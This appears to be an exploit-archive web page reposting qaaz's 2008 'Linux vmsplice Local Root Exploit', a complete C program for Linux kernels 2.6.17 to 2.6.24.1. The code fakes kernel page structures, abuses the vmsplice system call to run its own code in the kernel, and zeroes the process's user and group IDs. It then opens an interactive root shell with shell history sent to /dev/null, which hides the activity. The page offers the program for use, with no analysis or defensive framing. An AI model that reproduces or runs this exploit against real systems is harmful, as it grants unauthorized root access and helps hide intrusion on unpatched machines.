Linux Kernel 2.6.17 - 2.6.24.1 vmsplice Local Root Exploit
Author:	qaaz
Date:	2008-02-09
Download:

/*
 * jessica_biel_naked_in_my_bed.c
 *
 * Dovalim z knajpy a cumim ze Wojta zas nema co robit, kura.
 * Gizdi, tutaj mate cosyk na hrani, kym aj totok vykeca.
 * Stejnak je to stare jak cyp a aj jakesyk rozbite.
 *
 * Linux vmsplice Local Root Exploit
 * By qaaz
 *
 * Linux 2.6.17 - 2.6.24.1
 *
 * This is quite old code and I had to rewrite it to even compile.
 * It should work well, but I don't remeber original intent of all
 * the code, so I'm not 100% sure about it. You've been warned ;)
 * 
 * -static -Wno-format  
 */
#define _GNU_SOURCE
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <malloc.h>
#include <limits.h>
#include <signal.h>
#include <unistd.h>
#include <sys/uio.h>
#include <sys/mman.h>
#include <asm/page.h>
#define __KERNEL__
#include <asm/unistd.h>
 
#define PIPE_BUFFERS  16
#define PG_compound  14
#define uint    unsigned int
#define static_inline  static inline __attribute__((always_inline))
#define STACK(x)  (x + sizeof(x) - 40)
 
struct page {
  unsigned long flags;
  int count;
  int mapcount;
  unsigned long private;
  void *mapping;
  unsigned long index;
  struct { long next, prev; } lru;
};
 
void  exit_code();
char  exit_stack[1024 * 1024];
 
void  die(char *msg, int err)
{
  printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err));
  fflush(stdout);
  fflush(stderr);
  exit(1);
}
 
#if defined (__i386__)
 
#ifndef __NR_vmsplice
#define __NR_vmsplice  316
#endif
 
#define USER_CS    0x73
#define USER_SS    0x7b
#define USER_FL    0x246
 
static_inline
void  exit_kernel()
{
  __asm__ __volatile__ (
  "movl %0, 0x10(%%esp) ;"
  "movl %1, 0x0c(%%esp) ;"
  "movl %2, 0x08(%%esp) ;"
  "movl %3, 0x04(%%esp) ;"
  "movl %4, 0x00(%%esp) ;"
  "iret"
  : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
      "i" (USER_CS), "r" (exit_code)
  );
}
 
static_inline
void *  get_current()
{
  unsigned long curr;
  __asm__ __volatile__ (
  "movl %%esp, %%eax ;"
  "andl %1, %%eax ;"
  "movl (%%eax), %0"
  : "=r" (curr)
  : "i" (~8191)
  );
  return (void *) curr;
}
 
#elif defined (__x86_64__)
 
#ifndef __NR_vmsplice
#define __NR_vmsplice  278
#endif
 
#define USER_CS    0x23
#define USER_SS    0x2b
#define USER_FL    0x246
 
static_inline
void  exit_kernel()
{
  __asm__ __volatile__ (
  "swapgs ;"
  "movq %0, 0x20(%%rsp) ;"
  "movq %1, 0x18(%%rsp) ;"
  "movq %2, 0x10(%%rsp) ;"
  "movq %3, 0x08(%%rsp) ;"
  "movq %4, 0x00(%%rsp) ;"
  "iretq"
  : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
      "i" (USER_CS), "r" (exit_code)
  );
}
 
static_inline
void *  get_current()
{
  unsigned long curr;
  __asm__ __volatile__ (
  "movq %%gs:(0), %0"
  : "=r" (curr)
  );
  return (void *) curr;
}
 
#else
#error "unsupported arch"
#endif
 
#if defined (_syscall4)
#define __NR__vmsplice  __NR_vmsplice
_syscall4(
  long, _vmsplice,
  int, fd,
  struct iovec *, iov,
  unsigned long, nr_segs,
  unsigned int, flags)
 
#else
#define _vmsplice(fd,io,nr,fl)  syscall(__NR_vmsplice, (fd), (io), (nr), (fl))
#endif
 
static uint uid, gid;
 
void  kernel_code()
{
  int  i;
  uint  *p = get_current();
 
  for (i = 0; i < 1024-13; i++) {
    if (p[0] == uid && p[1] == uid &&
        p[2] == uid && p[3] == uid &&
        p[4] == gid && p[5] == gid &&
        p[6] == gid && p[7] == gid) {
      p[0] = p[1] = p[2] = p[3] = 0;
      p[4] = p[5] = p[6] = p[7] = 0;
      p = (uint *) ((char *)(p + 8) + sizeof(void *));
      p[0] = p[1] = p[2] = ~0;
      break;
    }
    p++;
  }  
 
  exit_kernel();
}
 
void  exit_code()
{
  if (getuid() != 0)
    die("wtf", 0);
 
  printf("[+] root\n");
  putenv("HISTFILE=/dev/null");
  execl("/bin/bash", "bash", "-i", NULL);
  die("/bin/bash", errno);
}
 
int  main(int argc, char *argv[])
{
  int    pi[2];
  size_t    map_size;
  char *    map_addr;
  struct iovec  iov;
  struct page *  pages[5];
 
  uid = getuid();
  gid = getgid();
  setresuid(uid, uid, uid);
  setresgid(gid, gid, gid);
 
  printf("-----------------------------------\n");
  printf(" Linux vmsplice Local Root Exploit\n");
  printf(" By qaaz\n");
  printf("-----------------------------------\n");
 
  if (!uid || !gid)
    die("!@#$", 0);
 
  /*****/
  pages[0] = *(void **) &(int[2]){0,PAGE_SIZE};
  pages[1] = pages[0] + 1;
 
  map_size = PAGE_SIZE;
  map_addr = mmap(pages[0], map_size, PROT_READ | PROT_WRITE,
                  MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (map_addr == MAP_FAILED)
    die("mmap", errno);
 
  memset(map_addr, 0, map_size);
  printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
  printf("[+] page: 0x%lx\n", pages[0]);
  printf("[+] page: 0x%lx\n", pages[1]);
 
  pages[0]->flags    = 1 << PG_compound;
  pages[0]->private  = (unsigned long) pages[0];
  pages[0]->count    = 1;
  pages[1]->lru.next = (long) kernel_code;
 
  /*****/
  pages[2] = *(void **) pages[0];
  pages[3] = pages[2] + 1;
 
  map_size = PAGE_SIZE;
  map_addr = mmap(pages[2], map_size, PROT_READ | PROT_WRITE,
                  MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (map_addr == MAP_FAILED)
    die("mmap", errno);
 
  memset(map_addr, 0, map_size);
  printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
  printf("[+] page: 0x%lx\n", pages[2]);
  printf("[+] page: 0x%lx\n", pages[3]);
 
  pages[2]->flags    = 1 << PG_compound;
  pages[2]->private  = (unsigned long) pages[2];
  pages[2]->count    = 1;
  pages[3]->lru.next = (long) kernel_code;
 
  /*****/
  pages[4] = *(void **) &(int[2]){PAGE_SIZE,0};
  map_size = PAGE_SIZE;
  map_addr = mmap(pages[4], map_size, PROT_READ | PROT_WRITE,
                  MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (map_addr == MAP_FAILED)
    die("mmap", errno);
  memset(map_addr, 0, map_size);
  printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
  printf("[+] page: 0x%lx\n", pages[4]);
 
  /*****/
  map_size = (PIPE_BUFFERS * 3 + 2) * PAGE_SIZE;
  map_addr = mmap(NULL, map_size, PROT_READ | PROT_WRITE,
                  MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (map_addr == MAP_FAILED)
    die("mmap", errno);
 
  memset(map_addr, 0, map_size);
  printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
 
  /*****/
  map_size -= 2 * PAGE_SIZE;
  if (munmap(map_addr + map_size, PAGE_SIZE) < 0)
    die("munmap", errno);
 
  /*****/
  if (pipe(pi) < 0) die("pipe", errno);
  close(pi[0]);
 
  iov.iov_base = map_addr;
  iov.iov_len  = ULONG_MAX;
 
  signal(SIGPIPE, exit_code);
  _vmsplice(pi[1], &iov, 1, 0);
  die("vmsplice", errno);
  return 0;
}
 

Comments (0)

Subscribe to this comment's feed

Show/Hide comments

Show/Hide comment form

Write comment

Name

Email

Website

Title

Comment

smaller | bigger

Subscribe via email (Registered users only)

Write the displayed characters

Add Comment